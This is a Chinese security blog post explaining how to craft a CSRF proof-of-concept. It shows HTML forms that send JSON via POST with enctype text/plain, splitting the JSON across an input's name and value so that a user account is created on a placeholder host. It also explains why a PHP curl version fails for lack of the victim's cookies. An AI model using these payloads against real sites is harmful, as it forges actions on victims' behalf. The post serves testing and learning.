zl程序教程

您现在的位置是:首页 >  数据库

当前栏目

CSRF漏洞中以form形式用POST方法提交json数据的POC

2023-02-19 12:20:22 时间

目录

0x01 写在前面

今天遇到的,查了很多资料,发现这种形式的基本上没看到,圈子里某个师傅发了一个国外的链接,

参考了一下,最后成功构造poc。

0x02 POC

form提交post数据很简单,如下:

 <html>  
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >  
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":""}}'type='hidden'>  
 <input type=submit>  
 </form>  
 </html>

但是这种方式存在缺陷,如下图:

始终有个“=”摆脱不了,但是用下面这种方式成功摆脱:

 <html>  
 <head>
    <title>This i a CSRF test!</title>
 </head>
 <form action="http://xxx.com/db/adds" method="post" enctype="text/plain" >  
<input name='{"attributes":{"name":"test3@test.com","userName":"test1","password":"e10adc3949ba59abbe56e057f20f883e","role":"user","status":"enabled", "phone":"' value='"}}'type='hidden'>  
 <input type=submit>  
 </form>  
 </html>

这里的技巧主要在于name和value的值共同构成了json格式的值,利用了双引号的闭合,学到了,以后有很多测试都可以用着这方式测试,所以记下来。

0x03 题外话

本来一开始利用form怎么都构造不成,后来放弃,然后使用php中的curl功能来写:

<?php
$data = array("attributes" => 
      array("name"=> "test2@test.com", 
          "userName" => "测试2",
          "password" => "e10adc3949ba59abbe56e057f20f883e",
          "role" => "user",
          "status" => "enabled",
          "phone" => ""
      ));                                                                      
$data_string = json_encode($data);       
$ch = curl_init('http://xxx.com/db/adds');        
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");                            
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_HTTPHEADER, array(                   
    'Content-Type: application/json',  
    'Content-Length: ' . strlen($data_string))           
);                                                                                                                     
$result = curl_exec($ch);  
echo $data_string;
?>

抓包处理的时候发现依旧不行,并没有执行CSRF。(并不存在referer和token的前提)

具体原因现在依旧不清楚,于是求租,然后有大师傅解释:

你如果用PHP写CSRF的POC是会失败的。CSRF本质是浏览器发出请求后会自带cookie. PHP是后端语言, 也就是请求不是浏览器发出去的。而后端服务器无法获取当前用户的cookie, 所以发出的POST请求没有cookie,CSRF就成功不了

但是发现有过phpCSRF的案例:PHPCMS后台CSRF加管理两种方法POC

所以有些懵逼。

然后又询问了一下大师傅,终于明白。

我上面的Php代码,POST请求是由php发出的,php代码运行后,返回一个数据页面给浏览器,然后浏览器在呈现给用户,此时由于是后端语言php发出的请求,后端服务器没法获得当前用户的cookie,所以没办法csrf。

而p牛的那个例子,POST请求是由js发出

也就是浏览器发出,所以可以获得当前用户的cookie。

不得不说,小技巧里面的知识可不小~还需努力啊